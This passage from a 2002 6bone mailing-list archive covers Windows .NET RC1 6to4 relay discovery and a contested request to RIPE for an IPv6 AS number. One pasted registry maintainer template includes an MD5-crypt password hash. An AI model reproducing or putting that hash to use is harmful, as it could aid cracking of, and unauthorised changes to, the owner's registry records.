>and non-interoperable assumption that the relay has address
>'2002:c058:6301::c058:6301' and it's pingable.

Are you sure? I had it from MS that they ping the IPv4 address of the 
relay, not v6.

Bill.

From mlehman@microsoft.com Fri Oct 11 08:18:18 2002
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Subject: RE: [6bone] .NET RC1 IPv6 6to4
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From: "Matthew Lehman" <mlehman@microsoft.com>
To: "Pekka Savola" <pekkas@netcore.fi>,
   "Barker, Ron, vpe" <Ron.Barker@v-pe.de>
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It's a holdover from the original research stack.  However it doesn't
work quite like you've detailed.  When the 6to4 auto-tunneling interface
comes up, it attempts to discover 6to4 relays via a DNS lookup to
6to4.ipv6.microsoft.com.  If you lookup that record it resolves to the
MS relay (131.107.33.60) and the 6to4 anycast address.  It attempts to
ping the v4 addresses that are returned.  If you want to override this
behavior, you can set the relay manually:

netsh interface ipv6 6to4 set relay <preferred relay> enabled
<resolution interval in min.>

My machines at home are setup to go to the MS relay because I know it's
topologically close and the closest advertised relay using the 6to4
anycast address is at SWITCH which is a long way from home.

To setup a configured tunnel, follow the instructions in Nicolas' email.

You can find most of this information in the help section of .Net
server.  Just search for IPv6 and/or 6to4 via the help interface.


> -----Original Message-----
> From: Pekka Savola [mailto:pekkas@netcore.fi]
> Sent: Friday, October 11, 2002 7:35 AM
> To: Barker, Ron, vpe
> Cc: 6bone@mailman.isi.edu
> Subject: Re: [6bone] .NET RC1 IPv6 6to4
> 
> Note '2002:c058:6301::c058:6301' below.
> 
> That only works with Microsoft relays because there's a completely
bogus
> and non-interoperable assumption that the relay has address
> '2002:c058:6301::c058:6301' and it's pingable.
> 
> Not a good way to push IPv6 *at all*...
> 
> On Fri, 11 Oct 2002, Barker, Ron, vpe wrote:
> 
> > Has anyone been able to get connected to the 6bone with  .NET RC1
IPv6.
> I have tried in vain for 2 day to no avail.  Some really strange
things
> happens depending on whether the computer is / is not
> > attached to the internet.  Really strange is the fact that prior to
> plugging in the ethernet cable the 6to4 interface is disable,
however,
> whenever I have link to the net, the 6to4 has two strange
> > looking default routes that are automatically generated:
> >
> > Publish  Type       Met  Prefix                    Idx
> Gateway/Interface Name
> > -------  --------  ----  ------------------------  ---
----------------
> -----
> > yes      Manual    1221 	 ::/0                        3
> 2002:836b:213c:1:e0:8f08:f020:8
> > yes      Manual    2147483648  ::/0                  3
> 2002:c058:6301::c058:6301
> > yes      Manual    1001  2002::/16                   3  6to4
Tunneling
> Pseudo-Interface
> >
> > netsh interface ipv6>
> >
> >
> > 1. is a  ::/0 route to what is obviously a rely router at MS -
> 131.107.33.60 - tried pinging but no answer
> > 2- is a  ../0 route to a 192.xxx. route ?????
> >
> > Where do these addresses come from???? magic.
> >
> > Additionaly,  I miss any any all reference to setting up the tunnel.
> >
> >
> > Any comments appreciated
> >
> > Ron
> >
> >
> >
> >
> >
> > Dr. Ronald D. Barker
> > Vodafone Pilotentwicklung GmbH
> > Chiemgaustr. 116
> > D-81549 Munich
> > Germany
> > Fon +49 (89) 95 410 -0
> > Fax +49 (89) 95 410 -111
> > www.v-pe.de
> >
> >
> >
> 
> --
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From pekkas@netcore.fi Fri Oct 11 08:35:20 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Matthew Lehman <mlehman@microsoft.com>
cc: "Barker, Ron, vpe" <Ron.Barker@v-pe.de>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] .NET RC1 IPv6 6to4
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On Fri, 11 Oct 2002, Matthew Lehman wrote:
> It's a holdover from the original research stack.  However it doesn't
> work quite like you've detailed.  When the 6to4 auto-tunneling interface
> comes up, it attempts to discover 6to4 relays via a DNS lookup to
> 6to4.ipv6.microsoft.com.  If you lookup that record it resolves to the
> MS relay (131.107.33.60) and the 6to4 anycast address.  It attempts to
> ping the v4 addresses that are returned.  If you want to override this
> behavior, you can set the relay manually:
> 
> netsh interface ipv6 6to4 set relay <preferred relay> enabled
> <resolution interval in min.>

Has that behaviour been changed lately?  At least Windows 2000 and Windows 
XP "operate" in a completely interoperable manner.  We have tcpdumps to 
prove that.

FWIW, in our environment, we are using 192.88.99.1, and our relay does 
*not* have 2002:192.88.99.1::192.168.88.99.1 (ie: 
2002:c058:6301::c058:6301) configured.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From rsamprat@cisco.com Fri Oct 11 11:02:16 2002
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Date: Fri, 11 Oct 2002 11:02:09 -0700 (PDT)
From: Ravi Samprathi <rsamprat@cisco.com>
To: Bill Owens <owens@nysernet.org>
cc: Pekka Savola <pekkas@netcore.fi>, "Barker, Ron, vpe" <Ron.Barker@v-pe.de>,
   <6bone@mailman.isi.edu>, Ravi Samprathi <rsamprat@cisco.com>
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Subject: [6bone] IPv6 DNS forwarders
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Hi
In my home gateway, I have installed and configured bind-9.2.0
DNS server for both IPv4 and IPv6.  I have setup IPv4 forwarders
as follows:
forwarders {
 1.2.3.4;
 3.4.5.6;
};

From my home gateway, i also have a  6to4-tunnel to a 6to4
relay-router, which inturn has tunnel to 6bone.
Can anyone please let me know how to setup such DNS forwarders
for IPv6?  Are there any IPv6 root servers?  Are there IPv6 DNS
servers in 6bone?  How can i configure my IPv6 DNS server to
be cognizant of IPv6 DNS forwarders?  How can my IPv6-only hosts
resolve the global IPv6 addresses?

Thanks and best rgds.
Ravi

On Fri, 11 Oct 2002, Bill Owens wrote:

> At 17:35 +0300 10/11/02, Pekka Savola wrote:
> >Note '2002:c058:6301::c058:6301' below.
> >
> >That only works with Microsoft relays because there's a completely bogus
> >and non-interoperable assumption that the relay has address
> >'2002:c058:6301::c058:6301' and it's pingable.
>
> Are you sure? I had it from MS that they ping the IPv4 address of the
> relay, not v6.
>
> Bill.
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From bmanning@ISI.EDU Fri Oct 11 12:43:08 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] IPv6 DNS forwarders
In-Reply-To: <Pine.GSO.4.44.0210111054230.15173-100000@longmorn.cisco.com> from Ravi Samprathi at "Oct 11, 2 11:02:09 am"
To: rsamprat@cisco.com (Ravi Samprathi)
Date: Fri, 11 Oct 2002 12:42:51 -0700 (PDT)
Cc: owens@nysernet.org, pekkas@netcore.fi, Ron.Barker@v-pe.de, 6bone@ISI.EDU,
   rsamprat@cisco.com
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% Can anyone please let me know how to setup such DNS forwarders
% for IPv6?  Are there any IPv6 root servers?  Are there IPv6 DNS
% servers in 6bone?  How can i configure my IPv6 DNS server to
% be cognizant of IPv6 DNS forwarders?  How can my IPv6-only hosts
% resolve the global IPv6 addresses?

First, bind 9.2.0 has known problems.  You will want to be running
9.2.1.  

In order:

) read the ARM that comes with the BIND code for forwarder setup.
) Yes, but only on an experimental basis.
) Lots.
) read the ARM that comes with the BIND code.
) use v6 aware nameservers.

You really should be talking to the v6 support folks in your company.
There is a wealth of support there. They can give you specifics when
answering your questions.

--bill

From Ron.Barker@v-pe.de Sun Oct 13 23:24:32 2002
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Thanks to all for the comments,

Something strange again happenen on Fri afteranoon.  The ping to the MS Relay Router started working. Once I was able to run a few tracesrts it became obvious what the corresponding passages in the
plethora of MS Docs were trying to tell me, e.g. that it is going to look for a relay router etc.  In addition to Pekkas comment, to which I subscribe whole heartedly, I should like to add that
notwithstanding the fact that this is a pre-release version, the deviation in operational behaviour between .NET and others, especially the numerous xxxBSDs, ought to occupy a prime position in
introduction / summary sections of the MS IPv6 documentaton, something that Vincent Pice and the Carnige Institute would applaud in catagory of "...winning friends..etc".  For Instance:

Is this reference to the MS relay router hard coded?? Perhaps a "persistent" relic of the test enviorment ( which is what I suspect ) that winds up on the CD.  Note that whenever
netsh.interface.ipv6.6to4 show relay is run, the very informative result is !default! 

Oh well, on the next chore.  

ron




-----Ursprüngliche Nachricht-----
Von: Ravi Samprathi [mailto:rsamprat@cisco.com]
Gesendet: Freitag, 11. Oktober 2002 20:02
An: Bill Owens
Cc: Pekka Savola; Barker, Ron, vpe; 6bone@mailman.isi.edu; Ravi
Samprathi
Betreff: IPv6 DNS forwarders


Hi
In my home gateway, I have installed and configured bind-9.2.0
DNS server for both IPv4 and IPv6.  I have setup IPv4 forwarders
as follows:
forwarders {
 1.2.3.4;
 3.4.5.6;
};

From my home gateway, i also have a  6to4-tunnel to a 6to4
relay-router, which inturn has tunnel to 6bone.
Can anyone please let me know how to setup such DNS forwarders
for IPv6?  Are there any IPv6 root servers?  Are there IPv6 DNS
servers in 6bone?  How can i configure my IPv6 DNS server to
be cognizant of IPv6 DNS forwarders?  How can my IPv6-only hosts
resolve the global IPv6 addresses?

Thanks and best rgds.
Ravi

On Fri, 11 Oct 2002, Bill Owens wrote:

> At 17:35 +0300 10/11/02, Pekka Savola wrote:
> >Note '2002:c058:6301::c058:6301' below.
> >
> >That only works with Microsoft relays because there's a completely bogus
> >and non-interoperable assumption that the relay has address
> >'2002:c058:6301::c058:6301' and it's pingable.
>
> Are you sure? I had it from MS that they ping the IPv4 address of the
> relay, not v6.
>
> Bill.
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



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From owens@nysernet.org Mon Oct 14 06:19:24 2002
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Date: Mon, 14 Oct 2002 09:19:17 -0400
To: "Barker, Ron, vpe" <Ron.Barker@v-pe.de>,
   "Ravi Samprathi" <rsamprat@cisco.com>
From: Bill Owens <owens@nysernet.org>
Subject: Re: [6bone] Microsoft 6to4 configuration
Cc: "Pekka Savola" <pekkas@netcore.fi>, <6bone@mailman.isi.edu>
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At 8:24 +0200 10/14/02, Barker, Ron, vpe wrote:
>Is this reference to the MS relay router hard coded?? Perhaps a 
>"persistent" relic of the test enviorment ( which is what I suspect 
>) that winds up on the CD.

I'm not an expert on the Microsoft implementation, but I've had some 
email conversations with the folks there and they seem very willing 
to answer questions about their code. I asked about the relay router 
name and they gave me this pointer:

At 15:22 -0700 8/30/02, Christian Huitema wrote:
>The details of our configuration options are explained in a white paper,
>"IPv6 Configurations and Test Lab for Windows XP", available on the
>Microsoft web site:
>
>http://www.microsoft.com/WindowsXP/pro/techinfo/administration/ipv6/ipv6
>configs.doc
>
>It includes instruction on how to use "net shell" to change the DNS name
>that documents the "preferred 6to4 relay":
>
>	netsh interface ipv6 6to4 set relay
>
>There is a mailing address for feedback on our IPv6 implementation:
>ipv6-fb@microsoft.com. If you send your queries to that address, they
>can be directly addressed by the development team.

The docs are somewhat difficult to dig out, but after some searching 
I found the following bits:

Main Page:
http://www.microsoft.com/windows.netserver/technologies/ipv6/default.mspx
Microsoft Research page
http://research.microsoft.com/msripv6/
IPv6 for W2K
http://msdn.microsoft.com/downloads/sdks/platform/tpipv6.asp
XP IPv6 FAQ:
http://www.microsoft.com/windowsxp/pro/techinfo/administration/ipv6/default.asp
6to4 with the MSR stack:
http://research.microsoft.com/msripv6/docs/6to4.htm
Microsoft IPv6 lab paper:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/network/maintain/security/ipv6cfg.asp
IPv6/IPv4 coexistence and migration (leads to a .doc file):
http://www.microsoft.com/windows.netserver/technologies/ipv6/ipv6coexist.mspx

I think the best doc is probably the help files on the machine, but I 
don't run XP so I haven't had the opportunity to look at them. . .

Hope that helps,
Bill.

From Ron.Barker@v-pe.de Mon Oct 14 06:25:24 2002
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Hi,

Does anyone know  .NET RC1 configured as an ipv6 router is itself =
configured to advertise the 2001:xxxx:xxxx::/48 prefix and provide =
itself with an global unicast address.  I know how to assign the
address manually using netsh.

Thanks
Ron
 =20



Dr. Ronald D. Barker
Vodafone Pilotentwicklung GmbH
Chiemgaustr. 116
D-81549 Munich
Germany
Fon +49 (89) 95 410 -0
Fax +49 (89) 95 410 -111
www.v-pe.de



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<P><FONT SIZE=3D2 FACE=3D"Arial">Hi,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Does anyone know&nbsp; .NET RC1 =
configured as an ipv6 router is itself configured to advertise the =
2001:xxxx:xxxx::/48 prefix and provide itself with an global unicast =
address.&nbsp; I know how to assign the address manually using =
netsh.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thanks</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Ron</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; </FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Dr. Ronald D. Barker</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Vodafone Pilotentwicklung GmbH</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Chiemgaustr. 116</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">D-81549 Munich</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Germany</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Fon +49 (89) 95 410 -0</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Fax +49 (89) 95 410 -111</FONT>

<BR><FONT COLOR=3D"#FF0000" SIZE=3D1 FACE=3D"Arial">www.v-pe.de</FONT>
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From nicolas.deffayet@ndsoftware.net Tue Oct 15 06:34:43 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: 6bone@ISI.EDU, ipv6-wg@ripe.net
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Date: 15 Oct 2002 15:35:37 +0200
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Subject: [6bone] RIPE and IPv6 ASN
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Hello,

Disclaimer:
I hide sensitive information (ASN, company name,...).
Flames & co > /dev/null

RIPE are welcome to contact me because i don't find contact except the
registration contact for members only.


My company have an operational ipv6-site since 17 january 2001 on 6bone
(http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE).
We made a lot of tests with our IPv6 experimental network and we provide
IPv6 connectivity to many IPv6 projects. We do BGP peering with a
private ASN (we announce only our routes with community no-export if the
peer accept it and use correct filter) because we don't have our ASN.

Now, we will build a real IPv6 network (native peering, peering with
other ISP on Internet Exchange,...). My company created the first french
IPv6 Internet Exchange, FNIX6 (http://www.fnix6.net) but my company
can't peer on FNIX6 becase we don't have public ASN.


Yesterday, i sent my ASN request to the RIPE by my LIR (peer1):

--------------------------------------------------------------------->

X-NCC-RegID: <obscured-regid>

#[ANNOUNCED ADDRESS RANGES]#
<obscured-ipv6-/32>

#[PEERING CONTACTS]#
<obscured-peer1-email>
<obscured-peer2-email>

#[AUT-NUM TEMPLATE]#
aut-num: NEW
as-name: NDSOFTWARE-AS
descr: NDSoftware IP Network
import: from AS<obscured-peer1-as>
action pref=100;
accept ANY
import: from AS<obscured-peer2-as>
action pref=100;
accept ANY
export: to AS<obscured-peer1-as>
announce NEW
export: to AS<obscured-peer2-as>
announce NEW
remarks: Network problems to: noc@ndsoftwarenet.com
remarks: Peering requests to: peering@ndsoftwarenet.com
remarks: Abuse notifications to: abuse@ndsoftwarenet.com
remarks: NDSoftware have an open peering policy.
admin-c: AUTO-1
tech-c: AUTO-1
notify: notify@ndsoftwarenet.com
mnt-by: NDSOFTWARE-MNT
changed: hostmaster@ripe.net
source: RIPE

#[MAINTAINER TEMPLATE]#
mntner: NDSOFTWARE-MNT
descr: NDSoftware IP Network
admin-c: AUTO-1
tech-c: AUTO-1
upd-to: ipmaster@ndsoftwarenet.com
mnt-nfy: notify@ndsoftwarenet.com
auth: MD5-PW $1$uAUWFve7$aPxYj8kqY4sCqr7g7fL6J/
notify: notify@ndsoftwarenet.com
mnt-by: NDSOFTWARE-MNT
referral-by: RIPE-DBM-MNT
changed: hostmaster@ripe.net 
source: RIPE

#[PERSON TEMPLATE]#
person: Nicolas DEFFAYET
address: NDSoftware
address: 57 rue du president Wilson
address: 92300 Levallois-Perret
address: France
phone: +33 671887502
e-mail: nicolas.deffayet@ndsoftware.net
nic-hdl: AUTO-1
notify: notify@ndsoftwarenet.com
mnt-by: NDSOFTWARE-MNT
changed: nicolas.deffayet@ndsoftware.net
source: RIPE

#[ADDITIONAL INFORMATION]#.
We request a pTLA to 6bone as soon we get our ASN.
We are the founder of FNIX6 (French National Internet Exchange IPv6).
We provide IPv6 transit to many projects.

#[TEMPLATE END]#

--------------------------------------------------------------------->

Reply of RIPE:

--------------------------------------------------------------------->

Thank you for your request for an AS number, but with IPv6 you do not
need to
use any AS numbers nor route objects. 

Please have a look at the IPv6 documentation at the following link:
http://www.ripe.net/ripe/docs/ipv6.html

--------------------------------------------------------------------->

Very stupid reply, for do BGP peering, request a pTLA to 6bone and peer
on FNIX6, we need a public ASN.

There isn't IPv6 documentation for ASN on
http://www.ripe.net/ripe/docs/ipv6.html

=> How get an ASN for our new IPv6 network ?
(we don't want do IPv4 network)

Thanks

Best Regards,

Nicolas DEFFAYET


From A.Weinberger@ebv.com Tue Oct 15 07:27:48 2002
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hi nicolas, 

hi 6bone ml and ripe stuff,


> Hello,

[snipp]

> Very stupid reply, for do BGP peering, request a pTLA to 
> 6bone and peer
> on FNIX6, we need a public ASN.
> 
> There isn't IPv6 documentation for ASN on
> http://www.ripe.net/ripe/docs/ipv6.html
> 
> => How get an ASN for our new IPv6 network ?
> (we don't want do IPv4 network)

well,

- is ndsoftware a multihomes isp?
- is ndsoftware a ripe member?
- does ndsoftware has a lir status?
- does ndsoftware have production, 2001:: ipv6 space?

i dont know why you are crying around, but it seems that
ndsoftware isnt any kind of an isp. 

and for just playing around with ipv6 (3ffe::) there is
no reason for a public asn. use your current private asn.
its enough.


> Thanks
> 
> Best Regards,
> 
> Nicolas DEFFAYET


my 2 (euro) cents,

bye,
::::
:: andreas 'randy' weinberger
::      networking group
:: ebv elektronik gmbh&co. kg
:: mail: a.weinberger@ebv.com
:: phone: +49 (0)8121 774-508

From bmanning@ISI.EDU Tue Oct 15 07:33:06 2002
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Subject: Re: [6bone] RIPE and IPv6 ASN
In-Reply-To: <1034688937.646.1807.camel@wks1.fr.corp.ndsoftware.com> from Nicolas DEFFAYET at "Oct 15, 2 03:35:37 pm"
To: nicolas.deffayet@ndsoftware.net (Nicolas DEFFAYET)
Date: Tue, 15 Oct 2002 07:33:03 -0700 (PDT)
Cc: 6bone@ISI.EDU, ipv6-wg@ripe.net
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% My company created the first french
% IPv6 Internet Exchange, FNIX6 (http://www.fnix6.net) but my company
% can't peer on FNIX6 becase we don't have public ASN.

	this is not the first v6 enabled exchange in France.
	there are three other exchanges which are v6 enabled.


--bill

From bortzmeyer@nic.fr Tue Oct 15 07:41:51 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@ISI.EDU, ipv6-wg@ripe.net
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On Tue, Oct 15, 2002 at 03:35:37PM +0200,
 Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote 
 a message of 126 lines which said:

> RIPE are welcome to contact me because i don't find contact except the
> registration contact for members only.

Until very recently (1st July), RIPE-NCC had an incredibly restrictive
policy regarding IPv6 allocation. So, it is quite possible that many
of the hostmasters are not yet used to IPv6. I suggest to reply to
RIPE-NCC with explanations. You can ask lir-help@ripe.net, too.
 
> Now, we will build a real IPv6 network (native peering, peering with
> other ISP on Internet Exchange,...). My company created the first french
> IPv6 Internet Exchange, FNIX6 

Wrong, the first one was Sfinx <URL:http://www.sfinx.tm.fr/>, several
months before.

> Thank you for your request for an AS number, but with IPv6 you do not
> need to
> use any AS numbers 

:-)
 



From nicolas.deffayet@ndsoftware.net Tue Oct 15 07:56:46 2002
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Subject: RE: [6bone] RIPE and IPv6 ASN
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Weinberger Andreas <A.Weinberger@ebv.com>
Cc: 6bone@ISI.EDU, ipv6-wg@ripe.net
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On Tue, 2002-10-15 at 16:26, Weinberger Andreas wrote:
 
Hello,

> [snipp]
> 
> > Very stupid reply, for do BGP peering, request a pTLA to 
> > 6bone and peer
> > on FNIX6, we need a public ASN.
> > 
> > There isn't IPv6 documentation for ASN on
> > http://www.ripe.net/ripe/docs/ipv6.html
> > 
> > => How get an ASN for our new IPv6 network ?
> > (we don't want do IPv4 network)
> 
> well,
> 
> - is ndsoftware a multihomes isp?

yes, we have 2 official IPv6 transit

> - is ndsoftware a ripe member?

no, but it's planned when our ISP activity will be stable

> - does ndsoftware has a lir status?

no, but it's not a problem for request an ASN

> - does ndsoftware have production, 2001:: ipv6 space?

no, because we aren't LIR, we can't request a sTLA

> i dont know why you are crying around, but it seems that
> ndsoftware isnt any kind of an isp. 

we start an activity of ISP.

> and for just playing around with ipv6 (3ffe::) there is
> no reason for a public asn. use your current private asn.
> its enough.

You can't peer with a private ASN on an Internet Exchange.

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Tue Oct 15 07:59:56 2002
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Subject: Re: [6bone] RIPE and IPv6 ASN
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU, ipv6-wg@ripe.net
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On Tue, 2002-10-15 at 16:33, Bill Manning wrote:
> % My company created the first french
> % IPv6 Internet Exchange, FNIX6 (http://www.fnix6.net) but my company
> % can't peer on FNIX6 becase we don't have public ASN.
> 
> 	this is not the first v6 enabled exchange in France.
> 	there are three other exchanges which are v6 enabled.
> 

This other Internet Exchange in France are IPv4 and IPv6 Internet
Exchange (dualstack).
IPv6 Internet Exchange = IPv6 only

FNIX6 is the first french IPv6 Internet Exchange and the second IPv6
Internet Exchange in Europe (the first is UK6x).

For information, a list of IPv6 Internet Exchange:
- 6IIX (New-York, Los Angeles, Santa Clara, US)
- 6NGIX (Seoul, KR)
- 6TAP (Chicago, US)
- KNIX6 (Soul, KR)
- NSPIXP-6 (Tokyo, JP)
- NY6IX (New-York, US)
- S-IX (San Jose,US)
- UK6X (London, UK)

Best Regards,

Nicolas DEFFAYET


From pekkas@netcore.fi Tue Oct 15 08:03:03 2002
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On Tue, 15 Oct 2002, Arien Vijn wrote:
> > Thank you for your request for an AS number, but with IPv6 you do not
> > need to
> > use any AS numbers nor route objects.
> > 
> > Please have a look at the IPv6 documentation at the following link:
> > http://www.ripe.net/ripe/docs/ipv6.html
> > 
> > --------------------------------------------------------------------->
> > 
> 
> 
> From a technical point of view RIPE's reply is not accurate indeed. How can
> you talk BGP without an AS number? That has nothing to do with IPv6 as such.

Incorrect.  There is a private ASN space, see:

http://www.iana.org/assignments/as-numbers

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From arien+6bone@ams-ix.net Tue Oct 15 08:17:14 2002
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Subject: Re: [6bone] RIPE and IPv6 ASN
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On 15-10-2002 17:00PM, "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
wrote:

> On Tue, 2002-10-15 at 16:33, Bill Manning wrote:
>> % My company created the first french
>> % IPv6 Internet Exchange, FNIX6 (http://www.fnix6.net) but my company
>> % can't peer on FNIX6 becase we don't have public ASN.
>> 
>> this is not the first v6 enabled exchange in France.
>> there are three other exchanges which are v6 enabled.
>> 
> 
> This other Internet Exchange in France are IPv4 and IPv6 Internet
> Exchange (dualstack).
> IPv6 Internet Exchange = IPv6 only

Why? Is what we are doing not IPv6?

Arien


From A.Weinberger@ebv.com Tue Oct 15 08:29:37 2002
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hi again,

...
> > well,
> > 
> > - is ndsoftware a multihomes isp?
> yes, we have 2 official IPv6 transit

2 ipv6 transits? if you dont have any valid asn, so how
do you use bgp4+ for ip transit?

...

> > and for just playing around with ipv6 (3ffe::) there is
> > no reason for a public asn. use your current private asn.
> > its enough.
> 
> You can't peer with a private ASN on an Internet Exchange.

sure you can.

peering != transit routing.

> Best Regards,
> 
> Nicolas DEFFAYET


ps: completel, with my help, opened as first european commercial
    company (in words TWO) internet exchanges in germany with ipv6
    native peering _AND_ transitrouting (BCIX and N-IX)... - scnr ;)


bye,
::::
:: andreas 'randy' weinberger
::      networking group
:: ebv elektronik gmbh&co. kg
:: mail: a.weinberger@ebv.com
:: phone: +49 (0)8121 774-508
 

From arien.vijn@ams-ix.net Tue Oct 15 07:36:24 2002
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On 15-10-2002 15:35PM, "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
wrote:

[...]

> 
> --------------------------------------------------------------------->
> 
> Reply of RIPE:
> 
> --------------------------------------------------------------------->
> 
> Thank you for your request for an AS number, but with IPv6 you do not
> need to
> use any AS numbers nor route objects.
> 
> Please have a look at the IPv6 documentation at the following link:
> http://www.ripe.net/ripe/docs/ipv6.html
> 
> --------------------------------------------------------------------->
> 


From a technical point of view RIPE's reply is not accurate indeed. How can
you talk BGP without an AS number? That has nothing to do with IPv6 as such.

Hmmm... if there is absolutely something wrong if this is truly in the
policies. 

Arien


-- 

Arien Vijn                                          tel: +31 205 141 718
Amsterdam Internet Exchange                      mobile: +31 651 836 444
http://www.ams-ix.net                      e-mail: arien.vijn@ams-ix.net



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Dear Nicolas,

I apologise for the problem you have experienced obtaining an ASN
from the RIPE NCC. The answer you received was obviously a mistake.
We will correct this by the end of this business day. 

You mentioned that you found it difficult to find a list of
alternative contact information. There is a list available on our
web site that can be found at:

<http://www.ripe.net/ripencc/about/contact.html>

We will make the link from the front page of the site more obvious.

Best regards,

-- 
leo vegoda
RIPE NCC
Registration Services

From gert@Space.Net Tue Oct 15 09:04:32 2002
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From: Gert Doering <gert@space.net>
To: Weinberger Andreas <A.Weinberger@ebv.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] RIPE and IPv6 ASN
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In-Reply-To: <51420C40A341F14499B8C5A488BEDA5802689B@EXSRV02.int.ebv.com>; from A.Weinberger@ebv.com on Tue, Oct 15, 2002 at 05:29:03PM +0200
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Hi,

On Tue, Oct 15, 2002 at 05:29:03PM +0200, Weinberger Andreas wrote:
> ps: completel, with my help, opened as first european commercial
>     company (in words TWO) internet exchanges in germany with ipv6
>     native peering _AND_ transitrouting (BCIX and N-IX)... - scnr ;)

OK, can we please stop this "my IXP is much more IPv6 than yours"
thread?

The two major IXPs in .DE (DECIX, INXS) have native IPv6 as well, and both 
since well over a year.   Of course both have IPv4, too, as an IPv6-only
exchange sounds more like a reason to waste tax money than anything useful.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Tue Oct 15 09:17:13 2002
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Subject: RE: [6bone] RIPE and IPv6 ASN
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Weinberger Andreas <A.Weinberger@ebv.com>
Cc: 6bone@ISI.EDU
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On Tue, 2002-10-15 at 17:29, Weinberger Andreas wrote:
hi again,

> ...
> > > well,
> > > 
> > > - is ndsoftware a multihomes isp?
> > yes, we have 2 official IPv6 transit
> 
> 2 ipv6 transits? if you dont have any valid asn, so how
> do you use bgp4+ for ip transit?

I used before a private ASN.

> > > and for just playing around with ipv6 (3ffe::) there is
> > > no reason for a public asn. use your current private asn.
> > > its enough.
> > 
> > You can't peer with a private ASN on an Internet Exchange.
> 
> sure you can.

No, a lot of ISP don't want peer with private ASN.

> peering != transit routing.

FNIX6 allow transit.

Best Regards,

Nicolas DEFFAYET


From czmok@gollum.gatel.net Tue Oct 15 09:28:29 2002
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From: Jan Czmok <czmok@gatel.net>
To: Weinberger Andreas <A.Weinberger@ebv.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] RIPE and IPv6 ASN
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Weinberger Andreas (A.Weinberger@ebv.com) wrote:
> hi again,
> 
> ...
> > > well,
> > > 
> > > - is ndsoftware a multihomes isp?
> > yes, we have 2 official IPv6 transit
> 
> 2 ipv6 transits? if you dont have any valid asn, so how
> do you use bgp4+ for ip transit?
> 
> ...
> 
> > > and for just playing around with ipv6 (3ffe::) there is
> > > no reason for a public asn. use your current private asn.
> > > its enough.
> > 
> > You can't peer with a private ASN on an Internet Exchange.
> 
> sure you can.
> 
> peering != transit routing.
> 
> > Best Regards,
> > 
> > Nicolas DEFFAYET
> 
> 
> ps: completel, with my help, opened as first european commercial
>     company (in words TWO) internet exchanges in germany with ipv6
>     native peering _AND_ transitrouting (BCIX and N-IX)... - scnr ;)
> 

and while we're at this ...

gigabell (former employer) was founding member of ipv6-forum
and also built out the first exchange in berlin with ipv6 quite long
ago (1999 afaik) [SCNR]

--jan



-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From tjc@ecs.soton.ac.uk Tue Oct 15 14:12:14 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Matthew Lehman <mlehman@microsoft.com>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] .NET RC1 IPv6 6to4
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On Fri, Oct 11, 2002 at 08:16:58AM -0700, Matthew Lehman wrote:
> 
> My machines at home are setup to go to the MS relay because I know it's
> topologically close and the closest advertised relay using the 6to4
> anycast address is at SWITCH which is a long way from home.

So if you have a relay, advertise it like the Swiss one, and let nature
take its course?

What sort of activity level do you see on your honey pot relay? :)

Tim

From MMESTDAG@ncsbe.jnj.com Wed Oct 16 05:35:33 2002
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------_=_NextPart_001_01C27510.8169B430
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Hi

I want to do some tests with IPv6, but in the manuals it says to contact an
